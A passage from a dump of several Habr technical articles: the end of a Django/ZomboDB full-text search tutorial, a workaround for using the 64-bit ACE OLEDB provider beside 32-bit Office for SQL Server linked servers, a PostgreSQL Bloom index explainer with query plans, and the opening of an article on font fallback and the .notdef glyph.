from django.db import migrations, models
from django.contrib.postgres.operations import CreateExtension
import main.models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
CreateExtension('zombodb'),
migrations.CreateModel(
name='Article',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('text', main.models.ZomboField()),
],
),
migrations.AddIndex(
model_name='article',
index=main.models.ZomboIndex(fields=['text'], name='zombo_idx', url='elasticsearch:9200/'),
)
]
```
Для интересующихся прилагаю SQL, который выдает Django ORM (можно посмотреть через `sqlmigrate`, ну, или с учетом докера: `sudo docker-compose exec django python3 manage.py sqlmigrate main 0001`)
```
BEGIN;
--
-- Creates extension zombodb
--
CREATE EXTENSION IF NOT EXISTS "zombodb";
--
-- Create model Article
--
CREATE TABLE "main_article" ("id" serial NOT NULL PRIMARY KEY, "text" zdb.fulltext NOT NULL);
--
-- Create index zombo_idx on field(s) text of model article
--
CREATE INDEX "zombo_idx" ON "main_article" USING zombodb ((main_article.*)) WITH (url='elasticsearch:9200/') ;
COMMIT;
```
Итак, модель у нас есть. Осталось теперь сделать поиск через filter. Для этого опишем [свой lookup](https://docs.djangoproject.com/en/dev/howto/custom-lookups/) и зарегистрируем его.
```
@ZomboField.register_lookup
class ZomboSearch(models.Lookup):
lookup_name = 'zombo_search'
def as_sql(self, compiler, connection):
lhs, lhs_params = self.process_lhs(compiler, connection)
rhs, rhs_params = self.process_rhs(compiler, connection)
params = lhs_params + rhs_params
return "%s ==> %s" % (lhs.split('.')[0], rhs), params
```
Поиск в таком случае будет выглядеть следующим образом:
```
Article.objects.filter(text__zombo_search='(call OR box)')
```
Но обычно одного поиска недостаточно. Требуется еще ранжирование результата и подсветка найденных слов.
Ну, с ранжированием всё довольно просто. Пишем свою собственную [функцию](https://docs.djangoproject.com/en/1.11/ref/models/expressions/#func-expressions):
```
from django.db.models import FloatField, Func
class ZomboScore(Func):
lookup_name = 'score'
function = 'zdb.score'
template = "%(function)s(ctid)"
arity = 0
@property
def output_field(self):
return FloatField()
```
Теперь можно строить довольно сложные запросы без особых проблем.
```
scores = (Article.objects
.filter(text__zombo_search='delete')
.annotate(score=ZomboScore())
.values_list(F('score'))
.order_by('-score'))
```
Подсветка результата (highlight) оказалась несколько сложнее, красиво не получилось. Django psycopg2 backend в любых ситуациях преобразует `имя_колонки` в `таблица.имя_колонки`. Если было `text`, то будет `"main_article"."text"`, чего ZomboDB категорически не приемлет. Указание колонки должно быть исключительно текстовым именем колонки. Но и здесь нам на помощь приходит RawSQL.
```
from django.db.models.expressions import RawSQL
highlighted = (Article.objects
.filter(text__zombo_search='delete')
.values(highlight_text=RawSQL("zdb.highlight(ctid, %s)", ('text',))))
```
Полную версию проекта с тестами можно посмотреть в [репозитории](https://gitlab.com/menstenebris/django_zombodb). Все примеры из статьи оформлены там в виде тестов. Надеюсь для кого-нибудь эта статья окажется полезной и подтолкнет не писать велосипед на сигналах, с возможностью отстрелить себе всю консистентность, а использовать готовое решение не теряя все положительные стороны ORM. Дополнения и исправления также приветствуются.
UPD: Появилась библиотека [django-zombodb](https://github.com/vintasoftware/django-zombodb) | https://habr.com/ru/post/442512/ | null | ru | null |
# 32-битный Excel и 64-битный SQL Server
Прочитать в SQL Server табличку из Excel… В самом деле, что может быть проще? Для этого существует масса возможностей. Есть инструмент Integration Services, который бывшие DTS, есть мастер импорта/экспорта, который «за сценой» то же самое, можно по-быстрому сваять собственное ADO.NET-приложение, наконец, если неохота стрелять из пушек по воробьям, можно воспользоваться механизмом прилинкованных серверов, известным, как DTS, еще со времен семерки, который позволяет легко и элегантно увидеть теоретически любой ODBC/OLE DB-достижимый источник в виде таблицы (совокупности таблиц) или результата непосредственного (ad hoc) запроса. Так было до тех пор, пока 64-битная архитектура не перестала быть чем-то из области hi end и пришла на ноутбуки разработчиков и пользователей. Обычный пользователь, наверное, все-таки вряд ли будет ставить себе сервер баз данных, но для разработчика отнюдь не экзотична ситуация, когда на одной х64-машине уживаются 64-битный SQL Server с 32-битным MS Office. В этом случае создание прилинкованного сервера на Excel или Access вызывает проблему, потому что драйвера для них, понятно, 32-битные, которые SQL Server, будучи 64-битным, не понимает. Нет у него в списке известных ему провайдеров ничего похожего, хотя офис со всеми прибамбасами, включая connectivity, на компе стоит.
Рис.1
Соответственно, попытка использовать прилинкованный сервер на Excel, как [описано в документации](http://msdn.microsoft.com/ru-ru/library/ms190479.aspx), приводит к ошибке Msg 7302, Level 16, State 1, Line 1
Cannot create an instance of OLE DB provider «Microsoft.ACE.OLEDB.12.0» for linked server…
Возникает извечный вопрос «что делать»?
Ну как что делать. Поставить 64-битного провайдера, разумеется. Вот здесь ([Microsoft Access Database Engine 2010 Redistributable](http://www.microsoft.com/en-us/download/details.aspx?id=13255)) их как раз раздают две штуки: AccessDatabaseEngine.exe и AccessDatabaseEngine\_x64.exe. Скачиваем ту, которая 64-битная, запускаем установку и получаем отлуп.
Рис.2
То есть если бы рядом с 64-битным SQL Server не стоял 32-битный Office, то за ради Б-га, но высокие технологии у нас развились до такой высоты, что непонятно, что делать. Сносить 32-битный Office и ставить вместо него 64-битный только для того, чтобы залезть SQL Serverом в Excelную табличку? Сносить 64-битный SQL Server и ставить взамен 32-битный только тоже для того же? Не думаю, что это гибкий вариант решения, да и не всегда подобная возможность имеет место быть. Например, как [пишет мужик](http://social.msdn.microsoft.com/Forums/sqlserver/en-US/6d80822d-34a8-4d12-b9ad-92abf515a973/sql-server-64-bit-connecting-to-ms-access), *The MS Access database is a production environment at the customers site, and it is not an option for me to de-install it and install a 64 bits version. It is also not an option to de-install the existing SQL Server 64 bit and install the 32 bits version, of course. An additional installation of a SQL Server 32 bits, only providing the link to MS Access would be the only option then. I find this quite horrible.* Начинается непонимайка. *Since there is no 64-bit Jet, you need download and install the 64-bit version of «Microsoft Access Database Engine 2010 Redistributable». — Thanks for your answer, but I when I install the AccessDatabaseEngine\_X64.exe I get the following error* (см.Рис.1) *— Please refer to this KB article: [support.microsoft.com/kb/2269468](http://support.microsoft.com/kb/2269468) — The article in the link in your last message tells to de-install all Office 32 bits products. That makes no sense to me, because the goal is to connect to the 32 bits MS Access database... — You need to install the 64-bit version of “Microsoft ACE OLEDB Provider” to connect to an Access file (32-bit or 64-bit) from SQL Server. — But I tried to install the 64 bits driver, but it is giving me an installation error... — The previous KB article explains the cause and provide the solution, you can refer to it. — You are guiding me in circles.*
Собственно, проблема в том, чтобы заставить поставиться 64-битную версию Microsoft ACE OLEDB Provider рядом с 32-битным офисом. Почему этого не удается сделать в лоб — вопрос философский, и на его тему тоже [сломано немало копий](http://social.msdn.microsoft.com/Forums/en-US/abf34eea-1029-429a-b88e-4671bffcee76/why-cant-32-and-64-bit-access-database-engine-aceoledb-dataproviders-coexist?forum=adodotnetdataproviders). *The fact that they cannot forces us to compile two different versions of our application; one specifically for x86 platform and one for x64 platform. Then we have to somehow determine which version of the ACE driver is installed so we know which version (32 or 64 bit) of our application to install. Life would be much simplier if we could just compile our app for the default AnyCPU and then both 32 and 64 dataproviders were allowed to be installed… Why can't 32 and 64 bit ACE coexist? — It's based upon the fact that Microsoft does not support the side by side install of 32 and 64-bit Microsoft Office 2010 or their dependent components... — I'm sorry, but that's not a very helpful answer to the question. Q: Why can't the 32 and 64 bit versions of the Microsoft Access Database Engine 2010 Redistributable (AccessDatabaseEngine.exe and AccessDatabaseEngine\_X64.exe) both be installed on the same machine? A: Microsoft does not support the side by side install of 32 and 64-bit Microsoft Office 2010. That's not answering, that's just repeating the question in other words. Q: Why can't I do this? A: Because we don't support it. Q: Why can't you support it? A: Because we don't support it.*
В качестве обходного пути решения для себя я использовал установку AccessDatabaseEngine\_X64.exe с ключом /passive, который позволяет 64-битной версии провайдера встать бок о бок с 32-битной версией Office. Необходимо подчеркнуть, что этот способ не является официально поддерживаемым Microsoft, имеются также предостережения относительно возможных проблем с несовместимостью. *[When I installed the driver AccessDatabaseEngine\_x64.exe](http://www.fsdeveloper.com/forum/threads/ms-office-issue-after-installing-64bit-driver.426708/)… MS Office Pro Plus starts a MS Configuration Process that can take up to a minute or two before a document or Office program opens*. *[If office 2010 32 bit is installed and if 64-bit ace is installed with /passive](http://social.msdn.microsoft.com/Forums/en-US/abf34eea-1029-429a-b88e-4671bffcee76/why-cant-32-and-64-bit-access-database-engine-aceoledb-dataproviders-coexist?forum=adodotnetdataproviders), then \*\*every\*\* time you run Access 2010, you get an automatic installation routine that resets to the 32-bit drivers for office*. В моем случае (Office 2013 Pro Plus, SQL Server 2012 Developer Ed., Windows 8.1) видимых проблем (тьфу-тьфу-тьфу) пока не возникло, однако еще раз хочу заметить, что это все, что называется, as is и без каких-либо обязательств.
[Скачиваю](http://www.microsoft.com/en-us/download/details.aspx?id=13255) AccessDatabaseEngine\_x64.exe, создаю System Restore Point на всякий пожарный (хотя, по-моему, при обновлении офисных компонент она и так создается автоматически), ставлюсь из командной строки. Вот возможные ключи:
Рис.3
Рис.4
В отличие от Рис.2 установка запускается
Рис.5
и где-то через полминуты сухо, по-деловому завершается без всяких фанфар, ОК, ура, я встала и т.д. Сейчас мы поглядим, какой это Сухов. На Рис.1 из контекстного меню Providers говорим Refresh и, что называется, чувствуем разницу.
Рис.6
Это вселяет. По-быстрому сварганил незатейливый xslx:
Рис.7
В SQL Server создаем прилинкованный сервер на этот Excel:
```
if exists (select 1 from sys.servers where name = 'XlsLnkSrv') exec sp_dropserver @server = 'XlsLnkSrv', @droplogins = 'droplogins'
exec sp_addlinkedserver @server = 'XlsLnkSrv', @srvproduct = 'ACE 12.0', @provider = 'Microsoft.ACE.OLEDB.12.0', @datasrc = 'C:\Temp\Sample.xlsx', @provstr = 'Excel 12.0; HDR=Yes'
```
Скрипт 1
и с замиранием читаем:
```
select * from openquery (XlsLnkSrv, 'Select * from [Sheet1$]')
```
Скрипт 2
Гол? Нет, фиг!
Msg 7399, Level 16, State 1, Line 1
The OLE DB provider «Microsoft.ACE.OLEDB.12.0» for linked server «XlsLnkSrv» reported an error. The provider did not give any information about the error.
Msg 7303, Level 16, State 1, Line 1
Cannot initialize the data source object of OLE DB provider «Microsoft.ACE.OLEDB.12.0» for linked server «XlsLnkSrv».
Нет, (Excel забыл закрыть) все-таки гол!
Рис.8
Аналогично,
```
select * from openrowset('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=C:\Temp\Sample.xlsx;HDR=Yes', 'Select * from [Sheet1$]')
```
но для нее (на всякий случай напомню) требуется вначале сделать
```
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries', 1;
reconfigure
```
Скрипт 3
В заключение следует отметить, что 64-битный провайдер не встал бок о бок с 32-битным, а заменил его собой, поэтому теперь, например, у меня откажутся работать с офисом Integration Services в проекте SQL Server Data Tools for BI (бывш.BIDS). Если на тот же Sample.xslsx создавать соединение в Data Flow DTS-пакета, возникнет ошибка инициализации Microsoft Office 12.0 Access Database Engine OLE DB Provider, что логично — поскольку devenv.exe 32-битная, а провайдер теперь 64-битный. Чтобы вернуть поведение, нужно восстановить 32-битный офисный провайдер ([оттуда же](http://www.microsoft.com/en-us/download/details.aspx?id=13255)), но тогда до свидания прилинкованный сервер. Чтобы заработал прилинкованный сервер — см. начало статьи. Как-то так. Мои скромные потребности ограничивались на данный момент доступом в Excel. Например, работу с БД Access я не проверял. Предоставляется читателям в качестве самостоятельного упражнения. Судя по [информации на коннекте](http://connect.microsoft.com/SQLServer/feedback/details/587897/connecting-via-a-linked-server-to-an-access-2010-database-file) там есть тоже место для подвига. | https://habr.com/ru/post/219415/ | null | ru | null |
# Indexes in PostgreSQL — 10 (Bloom)
In the previous articles we discussed PostgreSQL [indexing engine](https://habr.com/ru/company/postgrespro/blog/441962/) and the interface of access methods, as well as [hash indexes](https://habr.com/post/442776/), [B-trees](https://habr.com/ru/company/postgrespro/blog/443284/), [GiST](https://habr.com/ru/company/postgrespro/blog/444742/), [SP-GiST](https://habr.com/ru/company/postgrespro/blog/446624/), [GIN](https://habr.com/ru/company/postgrespro/blog/448746/), [RUM](https://habr.com/ru/company/postgrespro/blog/452116/), and [BRIN](https://habr.com/ru/company/postgrespro/blog/452900/). But we still need to look at Bloom indexes.
Bloom
=====
General concept
---------------
A classical Bloom filter is a data structure that enables us to quickly check membership of an element in a set. The filter is highly compact, but allows false positives: it can mistakenly consider an element to be a member of a set (false positive), but it is not permitted to consider an element of a set not to be a member (false negative).
The filter is an array of  bits (also called a *signature*) that is initially filled with zeros.  different hash functions are chosen that map any element of the set to  bits of the signature. To add an element to the set, we need to set each of these bits in the signature to one. Consequently, if all the bits corresponding to an element are set to one, the element can be a member of the set, but if at least one bit equals zero, the element is not in the set for sure.
In the case of a DBMS, we actually have  separate filters built for each index row. As a rule, several fields are included in the index, and it's values of these fields that compose the set of elements for each row.
By choosing the length of the signature , we can find a trade-off between the index size and the probability of false positives. The application area for Bloom index is large, considerably «wide» tables to be queried using filters on each of the fields. This access method, like BRIN, can be regarded as an accelerator of sequential scan: all the matches found by the index must be rechecked with the table, but there is a chance to avoid considering most of the rows at all.
Structure
---------
We've already discussed signature trees in the context of [GiST](https://habr.com/ru/company/postgrespro/blog/444742/) access method. Unlike these trees, Bloom index is a flat structure. It consists of a metapage followed by regular pages with index rows. Each index row contains a signature and reference to a table row (TID), as schematically shown in the figure.
### Creation and choice of parameter values
When creating Bloom index, a total size of the signature («length») is specified, as well as the number of bits to be set *for each individual field* included in the index («col1»—«col32»):
```
create index on ... using bloom(...) with (length=..., col1=..., col2=..., ...);
```
The way to specify the number of bits looks odd: these numbers must be parameters of an operator class rather than the index. The thing is that operator classes cannot be parametrized at present, although [work on this](https://commitfest.postgresql.org/17/1559/) is in progress.
> Unfortunately, there is no further progress on this.
>
>
How can we choose suitable values? [The theory](https://en.wikipedia.org/wiki/Bloom_filter) states that given the probability  of a filter to return a false positive, the optimal number of signature bits can be estimated as , where  is the number of fields in the index and the number of bits to be set is .
The signature is stored inside the index as an array of two-byte integer numbers, so the value of  can be safely rounded up to .
When choosing the probability , we need to take into account the size of the index, which will approximately equal , where  is the number of rows in the table and  is the size of the TID pointer in bytes.
A few points to note:
* The probability  of a false positive relates to one filter, therefore, we expect to get  false positives during table scan (of course, for a query that returns few rows). For example, for a table with one million rows and the probability 0.01, in the query plan, on average, we can expect «Rows Removed by Index Recheck: 10000».
* Bloom filter is a probabilistic structure. It makes sense to talk of specific numbers only when averaging quite a lot of values, while in each particular case, we can get whatever we can think of.
* The above estimates are based on an idealized mathematical model and a few assumptions. In practice, the result is likely to be worse. So, do not overestimate formulas: they are only a means to choose initial values for future experiments.
* For each field individually, the access method enables us to choose the number of bits to be set. There is a reasonable assumption that actually the optimal number depends on the distribution of the values in the column. To deeper dive, you can read [this article](http://blog.coelho.net/database/2016/12/11/postgresql-bloom-index.html) (references to other researches are welcome). But reread the previous item first.
### Updating
When a new row is inserted in a table, a signature is created: for values of all indexed fields, all their corresponding bits are set to one. In theory, we must have k different hash functions, while in practice, the pseudo-random number generator suffices, whose seed is chosen each time with the help of the only hash function.
A regular Bloom filter does not support deletion of elements, but this is not required for Bloom index: when a table row is deleted, the entire signature is deleted, along with the index row.
As usual, an update consists of deletion of the outdated row version and insertion of the new one (the signature being calculated from scratch).
### Scanning
Since the only thing that Bloom filter can do is check membership of an element in a set, the only operation supported by Bloom index is an equality check (like in hash index).
As we already mentioned, Bloom index is flat, so in the course of index access, it is always read successively and entirely. In the course of reading, a bitmap is build, which is then used to access the table.
In a regular index access, it is assumed that few index rows will have to be read and, in addition, they can be soon needed again, therefore, they are stored in a buffer cache. Reading of Bloom index, however, is actually a sequential scan. To prevent from evicting useful information out of the cache, reading is done through a small buffer ring, exactly the same way as for sequential scan of tables.
We should take into account that the more the size of Bloom index, the less attractive it will seem to the planner. This dependency is linear, unlike for tree-like indexes.
Example
-------
### Table
Let's look at Bloom index by example of a big «flights\_bi» table from [the previous article](https://habr.com/ru/company/postgrespro/blog/452900/). To remind you, the size of this table is 4 GB with approximately 30 million rows. Definition of the table:
```
demo=# \d flights_bi
```
```
Table "bookings.flights_bi"
Column | Type | Collation | Nullable | Default
--------------------+--------------------------+-----------+----------+---------
airport_code | character(3) | | |
airport_coord | point | | |
airport_utc_offset | interval | | |
flight_no | character(6) | | |
flight_type | text | | |
scheduled_time | timestamp with time zone | | |
actual_time | timestamp with time zone | | |
aircraft_code | character(3) | | |
seat_no | character varying(4) | | |
fare_conditions | character varying(10) | | |
passenger_id | character varying(20) | | |
passenger_name | text | | |
```
Let's first create the extension: although Bloom index is included in a standard delivery starting with version 9.6, it is unavailable by default.
```
demo=# create extension bloom;
```
Last time we could index three fields using BRIN («scheduled\_time», «actual\_time», «airport\_utc\_offset»). Since Bloom indexes do not depend on the physical order of the data, let's try to include almost all fields of the table in the index. Let's however exclude the time fields («scheduled\_time» and «actual\_time»): the method only supports comparison for equality, but a query for exact time is hardly interesting to anybody (we could, however, build the index on an expression, rounding the time to a day, but we won't do this). We will also have to exclude the geographical coordinates of airports («airport\_coord»): looking ahead, the «point» type is not supported.
To choose the parameter values, let's set the probability of a false positive to 0.01 (having in mind that actually we will get more). The above formulas for  and  give the signature size of 96 bit and suggest setting 7 bits per element. The estimated size of the index is 515 MB (approximately one eighth of the table).
(With the minimal signature size of 16 bits, the formulas promise the index size that is two times smaller, but permit to rely only on the probability of 0.5, which is very poor.)
### Operator classes
So, let's try to create the index.
```
demo=# create index flights_bi_bloom on flights_bi
using bloom(airport_code, airport_utc_offset, flight_no, flight_type, aircraft_code, seat_no, fare_conditions, passenger_id, passenger_name)
with (length=96, col1=7, col2=7, col3=7, col4=7, col5=7, col6=7, col7=7, col8=7, col9=7);
```
```
ERROR: data type character has no default operator class for access method "bloom"
HINT: You must specify an operator class for the index or define a default operator class for the data type.
```
Unfortunately, the extension provides us with only two operator classes:
```
demo=# select opcname, opcintype::regtype
from pg_opclass
where opcmethod = (select oid from pg_am where amname = 'bloom')
order by opcintype::regtype::text;
```
```
opcname | opcintype
----------+-----------
int4_ops | integer
text_ops | text
(2 rows)
```
But fortunately, it is pretty easy to create similar classes for other data types as well. An operator class for Bloom access method must contain exactly one operator — equality — and exactly one auxiliary function — hashing. The simplest way to find the needed operators and functions for an arbitrary type is to look into the system catalog for operator classes of «hash» method:
```
demo=# select distinct
opc.opcintype::regtype::text,
amop.amopopr::regoperator,
ampr.amproc
from pg_am am, pg_opclass opc, pg_amop amop, pg_amproc ampr
where am.amname = 'hash'
and opc.opcmethod = am.oid
and amop.amopfamily = opc.opcfamily
and amop.amoplefttype = opc.opcintype
and amop.amoprighttype = opc.opcintype
and ampr.amprocfamily = opc.opcfamily
and ampr.amproclefttype = opc.opcintype
order by opc.opcintype::regtype::text;
```
```
opcintype | amopopr | amproc
-----------+----------------------+--------------
abstime | =(abstime,abstime) | hashint4
aclitem | =(aclitem,aclitem) | hash_aclitem
anyarray | =(anyarray,anyarray) | hash_array
anyenum | =(anyenum,anyenum) | hashenum
anyrange | =(anyrange,anyrange) | hash_range
...
```
We will create two missing classes using this information:
```
demo=# CREATE OPERATOR CLASS character_ops
DEFAULT FOR TYPE character USING bloom AS
OPERATOR 1 =(character,character),
FUNCTION 1 hashbpchar;
demo=# CREATE OPERATOR CLASS interval_ops
DEFAULT FOR TYPE interval USING bloom AS
OPERATOR 1 =(interval,interval),
FUNCTION 1 interval_hash;
```
A hash function is not defined for points («point» type), and it is for this reason that we cannot build Bloom index on such a field (just like we cannot perform a hash join on fields of this type).
Trying again:
```
demo=# create index flights_bi_bloom on flights_bi
using bloom(airport_code, airport_utc_offset, flight_no, flight_type, aircraft_code, seat_no, fare_conditions, passenger_id, passenger_name)
with (length=96, col1=7, col2=7, col3=7, col4=7, col5=7, col6=7, col7=7, col8=7, col9=7);
```
```
CREATE INDEX
```
The size of the index is 526 MB, which is somewhat larger than expected. This is because the formula does not take page overhead into account.
```
demo=# select pg_size_pretty(pg_total_relation_size('flights_bi_bloom'));
```
```
pg_size_pretty
----------------
526 MB
(1 row)
```
### Queries
We can now perform search using various criteria, and the index will support it.
As we already mentioned, Bloom filter is a probabilistic structure, therefore, the efficiency highly depends on each particular case. For example, let's look at the rows related to two passengers, Miroslav Sidorov:
```
demo=# explain(costs off,analyze)
select * from flights_bi where passenger_name='MIROSLAV SIDOROV';
```
```
QUERY PLAN
--------------------------------------------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual time=2639.010..3010.692 rows=2 loops=1)
Recheck Cond: (passenger_name = 'MIROSLAV SIDOROV'::text)
Rows Removed by Index Recheck: 38562
Heap Blocks: exact=21726
-> Bitmap Index Scan on flights_bi_bloom (actual time=1065.191..1065.191 rows=38564 loops=1)
Index Cond: (passenger_name = 'MIROSLAV SIDOROV'::text)
Planning time: 0.109 ms
Execution time: 3010.736 ms
```
and Marfa Soloveva:
```
demo=# explain(costs off,analyze)
select * from flights_bi where passenger_name='MARFA SOLOVEVA';
```
```
QUERY PLAN
---------------------------------------------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual time=9980.884..10142.684 rows=2 loops=1)
Recheck Cond: (passenger_name = 'MARFA SOLOVEVA'::text)
Rows Removed by Index Recheck: 3950168
Heap Blocks: exact=45757 lossy=67332
-> Bitmap Index Scan on flights_bi_bloom (actual time=1037.588..1037.588 rows=212972 loops=1)
Index Cond: (passenger_name = 'MARFA SOLOVEVA'::text)
Planning time: 0.157 ms
Execution time: 10142.730 ms
```
In one case, the filter allowed only 40 thousand false positives and as much as 4 million of them in the other one («Rows Removed by Index Recheck»). The execution times of the queries differ accordingly.
And the following are the results of searching the same rows by the passenger ID rather than name. Miroslav:
```
demo=# explain(costs off,analyze)
demo-# select * from flights_bi where passenger_id='5864 006033';
```
```
QUERY PLAN
-------------------------------------------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual time=13747.305..16907.387 rows=2 loops=1)
Recheck Cond: ((passenger_id)::text = '5864 006033'::text)
Rows Removed by Index Recheck: 9620258
Heap Blocks: exact=50510 lossy=165722
-> Bitmap Index Scan on flights_bi_bloom (actual time=937.202..937.202 rows=426474 loops=1)
Index Cond: ((passenger_id)::text = '5864 006033'::text)
Planning time: 0.110 ms
Execution time: 16907.423 ms
```
And Marfa:
```
demo=# explain(costs off,analyze)
select * from flights_bi where passenger_id='2461 559238';
```
```
QUERY PLAN
--------------------------------------------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual time=3881.615..3934.481 rows=2 loops=1)
Recheck Cond: ((passenger_id)::text = '2461 559238'::text)
Rows Removed by Index Recheck: 30669
Heap Blocks: exact=27513
-> Bitmap Index Scan on flights_bi_bloom (actual time=1084.391..1084.391 rows=30671 loops=1)
Index Cond: ((passenger_id)::text = '2461 559238'::text)
Planning time: 0.120 ms
Execution time: 3934.517 ms
```
The efficiencies differ much again, and this time Marfa was more lucky.
Note that search by two fields simultaneously will be done much more efficiently since the probability of a false positive  turns into :
```
demo=# explain(costs off,analyze)
select * from flights_bi
where passenger_name='MIROSLAV SIDOROV'
and passenger_id='5864 006033';
```
```
QUERY PLAN
--------------------------------------------------------------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual time=872.593..877.915 rows=2 loops=1)
Recheck Cond: (((passenger_id)::text = '5864 006033'::text)
AND (passenger_name = 'MIROSLAV SIDOROV'::text))
Rows Removed by Index Recheck: 357
Heap Blocks: exact=356
-> Bitmap Index Scan on flights_bi_bloom (actual time=832.041..832.041 rows=359 loops=1)
Index Cond: (((passenger_id)::text = '5864 006033'::text)
AND (passenger_name = 'MIROSLAV SIDOROV'::text))
Planning time: 0.524 ms
Execution time: 877.967 ms
```
However, search with Boolean «or» is not supported at all; this is a limitation of a planner rather than of the access method. Of course, an option remains to read the index twice, build two bitmaps, and join them, but this is most likely too costly for this plan to be chosen.
Comparison with BRIN and Hash
-----------------------------
Application areas of Bloom and BRIN indexes obviously intersect. These are large tables for which it is desirable to ensure search by different fields, the search accuracy being sacrificed to compactness.
BRIN indexes are more compact (say, by up to dozens of megabytes in our example) and can support search by range, but have a strong limitation related to physical ordering of the data in a file. Bloom indexes are larger (hundreds of megabytes), but have no limitations except an availability of a suitable hash function.
Like Bloom indexes, hash indexes support the only operation of equality check. Hash index ensures the search accuracy that is inaccessible for Bloom, but the index size is way larger (in our example, a gigabyte for only one field, and hash index cannot be created on several fields).
Properties
----------
As usual, let's look at the properties of Bloom (queries [have already been provided](https://habr.com/ru/company/postgrespro/blog/442546/)).
The following are the properties of the access method:
```
amname | name | pg_indexam_has_property
--------+---------------+-------------------------
bloom | can_order | f
bloom | can_unique | f
bloom | can_multi_col | t
bloom | can_exclude | f
```
Evidently, the access method enables us to build an index on several columns. It hardly makes sense to create Bloom index on one column.
The following index-layer properties are available:
```
name | pg_index_has_property
---------------+-----------------------
clusterable | f
index_scan | f
bitmap_scan | t
backward_scan | f
```
The only available scan technique is bitmap scan. Since the index is always scanned entirely, it does not make sense to implement a regular index access that returns rows TID by TID.
```
name | pg_index_column_has_property
--------------------+------------------------------
asc | f
desc | f
nulls_first | f
nulls_last | f
orderable | f
distance_orderable | f
returnable | f
search_array | f
search_nulls | f
```
Only dashes are here; the method cannot even manipulate NULLs.
And finally:
------------
It's not impossible that this series of articles will be continued in future, when new index types of interest appear, but it's time to stop now.
I'd like to express appreciation to my colleagues from Postgres Professional (some of them are the authors of many access methods discussed) for reading the drafts and providing their comments. And I'm, certainly, grateful to you for your patience and valuable comments. Your attention encouraged me to reach this point. Thank you! | https://habr.com/ru/post/452968/ | null | en | null |
# Система font fallback: что происходит, когда шрифт не может найти нужный символ
Поднимите руку, если когда-нибудь сталкивались с такой ситуацией: вы получили текст со странными прямоугольниками или вопросительными знаками.
Или эмодзи при отправке выглядело нормально, но у получателя оно отобразилось в странно разобранном виде.
Вы видели, как пользователь Twitter использует крутые шрифты, хотя сайт, казалось бы, не разрешает выбирать шрифт.
Или вы разобрались, как использовать эти шрифты в Twitter, но кто-то попросил вас подумать о читателях или жаловался, что видит только пустые квадраты.
Вы добавили в строку эмодзи, и в тот же момент эта строка некрасиво сместилась вниз:
Вы отправили кому-то прикольное каомодзи, однако у получателя всё выглядит не так замечательно:
Думаю, что у всех рано или поздно случалось нечто из вышеперечисленного.
Подобные погрешности могут сбивать с толку, но они недостаточно мешают, чтобы начать разбираться с ними подробно. Они похожи на небольшие баги, которые просачиваются в наше повседневное общение с компьютерными устройствами.
Но это не баги, по крайней мере, не в традиционном смысле. Все описанные выше примеры можно объяснить. Более того, в их основе лежит одна причина — важный и в определённом смысле впечатляющий механизм компьютерной типографии, о котором многие из нас совершенно не знают. Этот механизм помогает шрифтам, когда им не хватает символов, и такая помощь называется font fallback.
### Это место (иногда) намеренно оставляют (почти) свободным
Я работаю дизайнером шрифтов, и одна из моих задач — добавление в шрифт каждого глифа, который ему понадобится.
[Глиф](https://en.wikipedia.org/wiki/Glyph) — это типографический термин, [приблизительно означающий *символ*](https://www.quora.com/Whats-the-difference-between-a-character-a-glyph-and-a-grapheme/answer/Thomas-Phinney). Даже простой шрифт западноевропейского языка содержит более двух сотен глифов: двадцать шесть букв алфавита плюс то же количество в верхнем регистре, десять цифр, символы, знаки пунктуации и надбуквенные знаки.
*Три шрифта внутри приложения для создания шрифтов; обратите на длину полосы прокрутки у Hiragino Sans*
Разумеется, не каждый шрифт является западноевропейским. Если вы создаёте шрифт для японского и китайского письма, то глифы будут исчисляться тысячами. Но как бы то ни было, глифы нужно отрисовывать всегда, даже в небольших шрифтах: символы и лигатуры, редкие пунктуационные знаки, альтернативные цифры и буквы для использования с [функциями OpenType](https://www.figma.com/blog/opentype-font-features/). При поддержке другой системы письма добавляется целый новый набор глифов, а другая система письма существует [*всегда*](https://en.wikipedia.org/wiki/List_of_writing_systems) — если вы поддерживаете латиницу, то почему бы не захватить и все западноевропейские языки? А затем Центральную Европу? А потом греческий? А затем кириллицу? И вьетнамский?
*Некоторые шрифты покрывают небольшое количество всех возможных символов, другие — гораздо большее*
На каком-то этапе приходится провести черту. И эта черта становится одним последним глифом. Он имеет техническое название **.notdef**, и точка здесь означает, что он не похож на остальные. **.notdef** — это глиф последней надежды, тот, который используется, когда шрифт запрашивает символ, который дизайнер не озаботился нарисовать.
**.notdef** — это первоначальная версия font fallback, рудиментарное решение проблемы, которой не существовало, когда вся печать была физической. В мире металлических литер, когда ты держишь в руках букву, ты одновременно держишь и конкретный шрифт, поэтому невозможно попросить шрифт вывести букву, о которой он никогда не слышал. Однако компьютеры создают странное расстояние между шрифтами и текстом. Компьютер может отображать текст, написанный кем-то другим, возможно, много лет назад, при помощи шрифта, незнакомого автору текста или даже шрифта, которого на момент создания текста ещё не существовало. И у шрифта должна быть возможность сказать: «Я понятия не имею, как должен выглядеть этот символ».
**.notdef** часто выглядит как простой прямоугольник, иногда с крестом посередине. Он является условным обозначением «это место намеренно оставлено пустым». Это не традиционный символ Unicode со своим конкретным кодом, а просто прямоугольник, который должен заменить отсутствующий символ. Когда вы копируете и вставляете его, то внутри он остаётся тем же исходным символом, который вы хотите видеть. Ведь в конце концов, в будущем шрифт может быть дополнен новыми глифами, или вы просто можете перейти на другой шрифт, поддерживающий нужный вам символ:
*Переключение между двумя шрифтами*
Что должно отрисовываться как глиф **.notdef** — это [забота дизайнера шрифтов](https://typedrawers.com/discussion/comment/44240#Comment_44240). Даже учитывая, что стандартно используется прямоугольник, его размеры могут меняться, а некоторые дизайнеры шрифтов перечёркивают прямоугольники или дополняют вопросительными знаками:
Другие дизайнеры опускают руки и ничего не отрисовывают, оставляя **.notdef** пустым квадратом. Остальные… ну, они немного творят дичь:
Примеры дичи встречаются редко, но что-то говорит мне, что в своей жизни вы хотя бы несколько раз видели подобные прямоугольники.
